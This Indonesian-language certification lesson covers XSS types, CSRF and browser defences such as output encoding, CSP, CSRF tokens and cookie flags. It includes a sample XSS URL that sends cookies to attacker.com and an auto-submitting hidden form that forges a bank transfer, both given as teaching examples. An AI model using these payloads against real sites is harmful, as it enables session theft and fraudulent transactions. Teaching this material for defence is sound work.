0Pricing
Cloud & IT Cert Prep · Pelajaran

Cross-Site Scripting (XSS) dan CSRF

Pahami XSS pantulan, tersimpan, dan berbasis DOM, serta serangan pemalsuan permintaan lintas situs dan pertahanan tingkat peramban yang memblokirnya.

Cross-Site Scripting (XSS) dan CSRF adalah pelajaran Cloud & IT Cert Prep gratis di CoddyKit. Ini adalah pelajaran 2 dari 4. Kamu bisa membaca pelajaran lengkapnya di bawah secara gratis — lalu praktikkan langsung di browser dengan editor kode bawaan dan tutor AI 24/7. Ini adalah bagian dari jalur belajar Cloud & IT Cert Prep, dan progresmu tersinkronisasi di web dan aplikasi CoddyKit. Kursus Cloud & IT Cert Prep mencakup 4 pelajaran total.

Apa Itu Cross-Site Scripting?

Cross-Site Scripting (XSS) adalah kerentanan injeksi sisi klien ketika seorang penyerang menyisipkan skrip berbahaya ke halaman web yang dilihat pengguna lain. Berbeda dari injeksi SQL yang menargetkan Server, XSS menargetkan peramban korban. Saat peramban merender skrip penyerang, skrip tersebut berjalan dengan hak akses yang sama seperti skrip halaman yang sah — sehingga memungkinkan pembajakan sesi, pencurian kredensial, dan pengiriman perangkat lunak berbahaya.

Penjelasan XSS Terefleksi

XSS terefleksi terjadi ketika skrip berbahaya disisipkan ke dalam URL dan Server segera "merefleksikannya" kembali dalam respons HTTP tanpa pengodean yang tepat. Korban ditipu (sering kali melalui tautan phishing) agar mengeklik URL yang telah dibuat, sehingga perambannya menjalankan skrip penyerang. XSS terefleksi bersifat tidak persisten — skrip hanya berjalan ketika korban mengeklik tautan berbahaya tersebut.

# Malicious URL with reflected XSS payload
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

# Server reflects the query param unsanitized into the HTML:
# <p>Results for: <script>...</script></p>

XSS Tersimpan dan XSS Berbasis DOM

XSS tersimpan (persisten) menyisipkan skrip berbahaya ke dalam basis data aplikasi — misalnya dalam komentar atau kiriman forum. Setiap pengguna yang melihat Content tersebut akan membuat skrip berjalan di peramban mereka, sehingga XSS tersimpan jauh lebih berbahaya daripada XSS terefleksi. XSS berbasis DOM terjadi sepenuhnya di peramban ketika JavaScript sisi klien membaca data yang dikendalikan penyerang dari DOM (misalnya fragmen URL) dan menuliskannya kembali ke halaman secara tidak aman.

Pertahanan XSS: Pengodean dan CSP

Pertahanan utama terhadap XSS adalah pengodean keluaran: ubah karakter khusus menjadi padanan entitas HTML-nya (&lt;, &gt;, &amp;) sebelum merendernya di peramban. Header Content Security Policy (CSP) membatasi skrip mana yang boleh berjalan, sehingga menjadi pertahanan sekunder yang penting. Validasi masukan (dengan daftar izin) juga harus diterapkan di sisi Server.

# HTTP header — Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'

# Blocks inline scripts and restricts external script sources

Apa Itu Cross-Site Request Forgery?

Cross-Site Request Forgery (CSRF) mengeksploitasi kepercayaan situs web terhadap peramban pengguna yang telah terautentikasi. Penyerang menipu peramban korban agar mengirim permintaan terautentikasi yang tidak diinginkan ke situs tempat korban sedang masuk. Karena peramban secara otomatis menyertakan Cookie sesi, Server tujuan menganggap permintaan tersebut sah. Serangan CSRF umum digunakan untuk mentransfer dana, mengubah alamat email, atau mengubah pengaturan akun.

Cara Kerja Serangan CSRF

Bayangkan seorang pengguna sedang masuk ke rekening banknya di bank.com. Penyerang mengirim email dengan tag gambar tersembunyi: <img src='https://bank.com/transfer?to=attacker&amount=1000'>. Saat email dibuka, peramban secara otomatis memuat URL gambar tersebut — dan mengirim permintaan transfer bersama Cookie sesi bank milik korban. Bank memprosesnya sebagai permintaan yang sah.

<!-- Malicious hidden form on attacker's page -->
<form action='https://bank.com/transfer' method='POST' id='csrf'>
  <input type='hidden' name='to' value='attacker_account' />
  <input type='hidden' name='amount' value='5000' />
</form>
<script>document.getElementById('csrf').submit();</script>

Pertahanan CSRF: Token dan SameSite

Pertahanan CSRF yang paling efektif adalah token CSRF — nilai unik dan sulit ditebak yang disisipkan ke setiap formulir dan diverifikasi di sisi Server. Karena penyerang tidak dapat membaca token dari asal yang berbeda (kebijakan asal yang sama), permintaan palsu tidak memiliki token yang valid dan akan ditolak. Atribut Cookie SameSite (SameSite=Strict atau Lax) juga mencegah peramban mengirim Cookie dalam permintaan lintas situs.

# Set SameSite cookie attribute
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly

# HTML hidden CSRF token in form
<input type='hidden' name='csrf_token' value='a8f3b2c7d1e4...' />

XSS vs CSRF: Perbedaan Utama

XSS dan CSRF sering disalahartikan sebagai hal yang sama, tetapi keduanya menargetkan pihak yang berbeda. XSS menyisipkan skrip berbahaya yang berjalan di peramban korban — dengan mengeksploitasi kepercayaan pengguna terhadap situs web. CSRF memalsukan permintaan dari peramban korban ke situs tepercaya — dengan mengeksploitasi kepercayaan situs web terhadap peramban pengguna. XSS dapat digunakan untuk mencuri token CSRF, sehingga kedua kerentanan tersebut dapat dirangkai.

Flag Cookie HttpOnly dan Secure

Flag Cookie memberikan mitigasi penting terhadap XSS. Flag HttpOnly mencegah JavaScript mengakses Cookie melalui document.cookie, sehingga pencurian token sesi menjadi lebih sulit meskipun terdapat XSS. Flag Secure memastikan Cookie hanya dikirim melalui HTTPS, sehingga mencegah penyadapan pada saluran yang tidak terenkripsi. Kedua flag tersebut harus ditetapkan pada semua Cookie sesi sebagai langkah pertahanan berlapis.

Set-Cookie: sessionid=xyz789; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600

Menguji Kerentanan XSS

Penguji keamanan mengidentifikasi XSS dengan menyisipkan muatan pengujian ke setiap bidang masukan, parameter URL, header HTTP, dan bidang JSON. Salah satu pengujian sederhana adalah <script>alert(1)</script> — jika kotak peringatan muncul, XSS telah dikonfirmasi. Alat seperti Burp Suite mengotomatiskan pemindaian XSS, sedangkan OWASP ZAP menyediakan pemindaian aktif gratis. XSS berbasis DOM memerlukan analisis JavaScript di sisi peramban, bukan pemeriksaan respons Server.

Dampak Nyata XSS

Serangan XSS telah menimbulkan kerusakan nyata yang signifikan. Cacing Samy (2005) menyebar di MySpace dalam waktu 20 jam dengan mengeksploitasi XSS tersimpan untuk menggandakan dirinya ke lebih dari satu juta profil. Serangan XSS dapat mencuri token sesi untuk membajak akun sepenuhnya, mengarahkan pengguna ke situs phishing, mengirim eksploit peramban (unduhan drive-by), dan mengubah Content halaman untuk menampilkan informasi palsu kepada pengguna yang menjadi sasaran.

Pemeriksaan Singkat

Uji pemahaman Anda tentang konsep CompTIA Security+ (SY0-701) dari pelajaran ini.

Rangkuman Pelajaran

Dalam pelajaran ini, Anda mempelajari bahwa: XSS menyisipkan skrip ke halaman yang dilihat pengguna lain, CSRF menipu peramban yang telah terautentikasi agar mengirim permintaan palsu, serta pengodean keluaran, CSP, token CSRF, dan atribut Cookie SameSite merupakan pertahanan utama. Selanjutnya, kita akan membahas autentikasi yang rusak dan deserialisasi yang tidak aman.

Pertanyaan yang Sering Diajukan

Apakah pelajaran “Cross-Site Scripting (XSS) dan CSRF” gratis?

Ya — teks lengkap “Cross-Site Scripting (XSS) dan CSRF” gratis dibaca di sini di web. Untuk praktiknya secara interaktif (editor kode bawaan dan tutor AI 24/7) dan buka sisa kursus Cloud & IT Cert Prep, upgrade ke CoddyKit PRO. Kursus Cloud & IT Cert Prep mencakup 4 pelajaran total.

Apa yang akan aku pelajari di “Cross-Site Scripting (XSS) dan CSRF”?

Pahami XSS pantulan, tersimpan, dan berbasis DOM, serta serangan pemalsuan permintaan lintas situs dan pertahanan tingkat peramban yang memblokirnya. Kamu berlatih Cloud & IT Cert Prep dengan kode praktik yang langsung kamu jalankan di browser, dan tutor AI 24/7 menjawab pertanyaanmu saat kamu mengerjakan pelajaran ini.

Apakah aku perlu pengalaman untuk memulai Cloud & IT Cert Prep?

Tidak diperlukan pengalaman sebelumnya. Cloud & IT Cert Prep di CoddyKit dirancang untuk pemula hingga pelajar tingkat lanjut, jadi kamu bisa memulai di sini atau dari awal dan belajar sesuai kecepatan kamu sendiri. Ini adalah pelajaran 2 dari 4.

Berapa lama pelajaran “Cross-Site Scripting (XSS) dan CSRF” memakan waktu?

Sebagian besar pelajaran CoddyKit memakan waktu sekitar 5–10 menit. Setiap pelajaran ringkas dan interaktif, jadi kamu membuat kemajuan stabil dan melanjutkan dari tempat kamu tinggalkan di web dan aplikasi.

Bisakah aku menulis dan menjalankan kode dalam pelajaran Cloud & IT Cert Prep ini?

Ya. Setiap pelajaran Cloud & IT Cert Prep menyertakan editor kode bawaan, jadi kamu menulis dan menjalankan kode nyata langsung di browser dan mendapatkan umpan balik AI instan — tidak diperlukan penyiapan lokal.

Semua pelajaran dalam kursus ini

  1. Injeksi SQL dan Injeksi Perintah
  2. Cross-Site Scripting (XSS) dan CSRF
  3. Autentikasi Rusak dan Deserialisasi Tidak Aman
  4. SDLC Aman, Alat SAST, dan DAST
← Kembali ke Cloud & IT Cert Prep